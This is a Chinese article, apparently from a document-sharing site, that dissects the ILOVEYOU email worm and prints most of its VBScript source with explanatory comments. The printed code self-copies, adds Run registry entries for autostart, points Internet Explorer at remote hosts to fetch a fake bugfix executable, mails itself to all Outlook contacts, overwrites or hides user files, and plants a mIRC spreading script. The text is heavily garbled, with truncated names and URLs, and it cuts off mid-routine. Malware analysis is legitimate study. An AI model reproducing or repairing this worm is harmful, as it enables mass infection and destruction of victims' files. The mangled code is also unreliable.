admin 管理员组文章数量: 1086019
2024年5月17日发(作者:jconsole jvisualvm)
“爱虫(I Loveyou)”病毒代码解析和杀毒方法
中国代码联盟 黄冬 李文武
近来在网上出现了“我爱你”病毒,让人们恐慌一时,而它在国
内却没有出现
什么问题,到现在我也没有听到有哪位计算机使用者说自己被爱到至
死。究其原因
是什么?而“我爱你” 病毒到底是什么?难道说是我国的计算机防
毒水平和计算
机杀毒软件的水平已经到了世界领先的水平?我们来细细看看它的
原因就明白其中
的道理了。另:笔者写本文完全是为了学术作用,请不要将此病毒代
码用于破坏之
目的。
首先让我们来看一看我爱你病毒的来源。有一天你会收到一封邮
件,它的主题
是“I Love You”(如果细细读读它的程序,这个主题其实可以并不是
I Love
You),在它的信中带有了一个叫“ ”的附件,而这个附
件将是病毒
的根源。下面这段是“我爱你”病毒的所有的源代码,其中加入了我
的注释(大多
数的vbs的语法大家可以到wsh中去查、我在函数调用的地方写明了
这些函数的说明
,具体实现可以到函数体中去找):
Rem
===========================================================
============
Rem 本文件为病毒样本,供学习之用,原文件中扫描文件进行感染
部分被我注释掉
了
Rem 请勿将本文件用作破坏之目的。 white (***************)
hd(hd@email.
)
Rem
===========================================================
============
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("stemObject")
set file = xtFile(Fullname,1)
vbscopy=l
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("")
rr=d("HKEY_CURRENT_USERSoftwareMicrosoftWindows
Scripting
HostSettingsTimeout")
if (rr>=1) then
te
Scripting
HostSettingsTimeout",0,"REG_DWORD"
end if
Set dirwin = cialFolder(0)
Set dirsystem = cialFolder(1)
Set dirtemp = cialFolder(2)
Set c = e(FullName)
"HKEY_CURRENT_USERSoftwareMicrosoftWindows
(dirsystem&"")
(dirwin&"")
(dirsystem&"") '上面三句将自身
复制成三
个文件
regruns() '如果系统为win98,设IE的起始页为四个URL之一,以下
载一个叫
的文件, '并将其设为系统启动时自动执行的程序,
看起来好象
是一个补丁程序
html() '为OUTLOOK用户生成一个含病毒代码的HTML文件
LOVE-LETTER-FOR-YOU.
HTM, '该HTML文件里包含一段JAVASCRIPT,打开时脚本被执行,
病毒体被写入文
件, 同时被设成
'系统启动时自动执行
spreadtoemail() '为OUTLOOK里的所有联系人发一封包含上面那个文
件的邮件
listadriv() '扫描整个磁盘,将后缀为.vbs, ..vbe的文件换成自身,将后
缀为
.js, .jse, .css, .wsh, .sct, .hta, '的文件改后缀为vbs并写入自身,同时删
除原有文件,将后缀为.jpg,.jpeg的在文件名后加.vbs后,写入 '自身,
将后缀为
.mp3,mp2的文件名后加.vbs并写入自身,同时将文件属性改为隐藏
文件, '如果发
现有mIRC,将改写,使得mIRC向所有频道里的人发送刚才的
html文件。
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion
RunMSKern
册表中的加载项一些软件可以写入到这里后实现开机运行
el32",dirs
ystem&""
regcreate
"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion
RunService
册表中的加载项一些软件可以写入到这里后实现开机运行
sWin32DLL
",dirwin&""
downread=""
downread=regget("HKEY_CURRENT_USERSoftwareMicrosoftInternet
ExplorerDownload
Directory")
if (downread="") then
downread="c:"
end if
if (fileexist(dirsystem&"")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCUSoftwareMicrosoftInternet
ExplorerMainStartPage","t.
net/~young1s/HJKhjnwerhjkxcvytwertnMT
FwetrdsfmhPnjw6587345gvsdf7679njbvYT/"
elseif num = 2 then
regcreate "HKCUSoftwareMicrosoftInternet
ExplorerMainStartPage","t.
net/~angelcat/skladjflfdjghKJnwetryDG
FikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/
e"
elseif num = 3 then
regcreate "HKCUSoftwareMicrosoftInternet
ExplorerMainStartPage","t.
net/~koichi/jf6TRjkcbGRpGqaq198vbFV5h
fFEkbopBdQZnmPOhfgER67b3Vbvg/"
elseif num = 4 then
regcreate "HKCUSoftwareMicrosoftInternet
ExplorerMainStartPage","t.
net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwt
uHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw
237461234iuy
7thjg/WIN-
"
end if
end if
if (fileexist(downread&"")=0) then
regcreate
"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion
RunWIN-BU
注册表中的加载项一些软件可以写入到这里后实现开机运行
GSFIX",dow
nread&""
regcreate
"HKEY_CURRENT_USERSoftwareMicrosoftInternetExplorerMainStar
tPage",
"about:blan
k"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc =
For Each d in dc
If ype = 2 or ype=3 Then
folderlist(&"")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = der(folderspec)
set fc =
for each f1 in fc
ext=ensionName()
ext=lcase(ext)
s=lcase()
if (ext="vbs") or (ext="vbe") then
set ap=xtFile(,2,true)
vbscopy
elseif (ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or
(ext="sct") or
(ext="hta") then
set ap=xtFile(,2,true)
vbscopy
bname=eName()
set cop=e()
(folderspec&""&bname&".vbs")
File()
elseif (ext="jpg") or (ext="jpeg") then
set ap=xtFile(,2,true)
vbscopy
set cop=e()
(&".vbs")
File()
elseif (ext="mp3") or (ext="mp2") then
set mp3=TextFile(&".vbs")
vbscopy
set att=e()
utes=utes+2
end if
if (eq<>folderspec) then
if (s="") or (s="") or (s="") or
(s="") or
(s="") then
set scriptini=TextFile(folderspec&"")
ine "[script]"
ine ";mIRC Script"
ine "; Please dont edit mIRC will
corrupt,if mIRC
will"
ine " WINDOWS will affect and will not run
correctly.
thanks"
ine ";"
ine ";Khaled Mardam-Bey"
ine ";"
ine ";"
ine "n0=on 1:JOIN:#:{"
ine "n1= /if ( $nick == $me ) { halt }"
ine "n2= /.dcc send
$nick"&dirsystem&""
ine "n3=}"
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = der(folderspec)
set sf = ders
for each f1 in sf
'infectfiles()
Rem
===========================================================
====
Rem 注意,上面这行被注释掉了,请千万不要玩火,否则您的文件
将找不回来
Rem
===========================================================
=====
folderlist()
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("")
te regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("")
regget=d(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (ists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (derExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("")
set out=Object("ation")
set mapi=eSpace("MAPI")
for ctrlists=1 to
set a=sLists(ctrlists)
x=1
regv=d("HKEY_CURRENT_USERSoftwareMicrosoftWAB
"&a)
if (regv="") then
regv=1
end if
if (int()>int(regv)) then
for ctrentries=1 to
malead=sEntries(x)
regad=""
regad=regedit.
RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead)
if (regad="") then
set male=Item(0)
(malead)
t = "ILOVEYOU"
= vbcrlf&"kindly check the attached LOVELETTER coming from
me."
(dirsystem&"")
te
"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead,1,
"REG_DWORD"
end if
x=x+1
next
te
"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.
Count
else
te
"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.
Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="
HTML-?TITLE> CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ " **************** -@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ " this is @-@>"&vbcrlf& _ "-?HEAD> ONMOUSEOUT=@*************=#-#main#-#;window. open(#-##-#,#-# main#-#)@-@ "&vbcrlf& _ "ONKEYDOWN=@*************=#-#main#-#;window. open(#-##-#,#-# main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ " This HTML file need ActiveX Control-?p> To Enable to read this HTML file Enable ActiveX-?p>"&vbcrlf& _ "-?CENTER>
- Please press #-#YES#-# button to